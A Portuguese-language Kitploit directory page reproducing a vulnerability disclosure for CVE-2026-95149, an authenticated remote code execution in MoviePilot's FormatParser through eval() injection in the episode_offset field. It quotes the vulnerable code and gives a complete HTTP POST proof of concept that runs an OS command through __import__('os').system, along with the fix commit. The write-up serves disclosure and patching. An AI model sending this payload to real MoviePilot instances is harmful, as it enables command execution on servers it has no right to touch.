Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-95149 — Prova de conceito e análise de causa raiz para CVE-2026-95149, uma RCE autenticada no FormatParser do MoviePilot por meio de injeção via eval() em episode_offset, com PoC HTTP e detalhes da correção. | Kitploit
Ferramentas/GitHubGitHub/reputati0n/cve-2026-95149
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações Web
GitHubreputati0n/cve-2026-95149

CVE-2026-95149

Prova de conceito e análise de causa raiz para CVE-2026-95149, uma RCE autenticada no FormatParser do MoviePilot por meio de injeção via eval() em episode_offset, com PoC HTTP e detalhes da correção.

Ver Repositório
há 26 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-95149 — RCE Autenticado via Injeção de eval() em episode_offset (MoviePilot FormatParser)

CampoValor
ID da CVECVE-2026-95149
ProdutoMoviePilot (jxxghp/MoviePilot)
Versões afetadas<= v3.0.0
Corrigido embranch v3 — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba
SeveridadeAlta
Vetor de ataqueRemoto, pela API HTTP
Privilégios necessáriosUsuário de gerenciamento autenticado (conta admin ou com função de gerenciamento)
Interação do usuárioNenhuma
Reportado2026-09-11
Issue públicajxxghp/MoviePilot#6644

Causa raiz

FormatParser aceita uma string arbitrária e só ramifica conforme ela contenha ou não "EP" — nunca valida se o restante da string é uma expressão aritmética bem formada:

elif "EP" in offset:
    self.__offset = offset

Vários ramos posteriores então constroem uma expressão Python por substituição textual e a avaliam diretamente:

start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part

O invólucro int(...) apenas restringe o valor de retorno da expressão; ele não impede efeitos colaterais que ocorrem durante a avaliação. Qualquer chamada de função, import ou acesso a atributo embutido no payload, portanto, executa antes que o valor final seja convertido para int.

Por que a mitigação óbvia não ajuda

Uma tentativa comum de mitigação é multiplicar o payload por zero para que o resultado aritmético permaneça numérico:

EP+__import__('os').system('touch /tmp/success')*0

Isso ainda funciona. O efeito colateral (disparar o comando) acontece durante a avaliação, muito antes de a adição final ser convertida para int, então o atacante acaba obtendo tanto a execução de comando quanto um valor que passa na verificação de tipo do int().

POC

POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br

{
  "fileitem": {
    "storage": "local",
    "path": "/configured/media/file.mkv",
    "type": "file",
    "name": "file.mkv"
  },
  "episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}

Em uma instância vulnerável, /tmp/success é criado pelo processo do serviço MoviePilot. Se a chamada à API não retornar 200, a conversão int() lançará uma exceção — mas o comando injetado já foi executado, então o resultado da requisição é irrelevante para o exploit.

Referências

  • Issue upstream: https://github.com/jxxghp/MoviePilot/issues/6644
  • Commit de correção: https://github.com/jxxghp/MoviePilot/commit/65b9c777de9194e40ba29dc17345afc5b4b4b0ba
  • Caminho de código vulnerável: app/application/formatting.py (linhas 102 e 184 na v3.0.0)
  • Alcançável via: app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302
Baixar ferramenta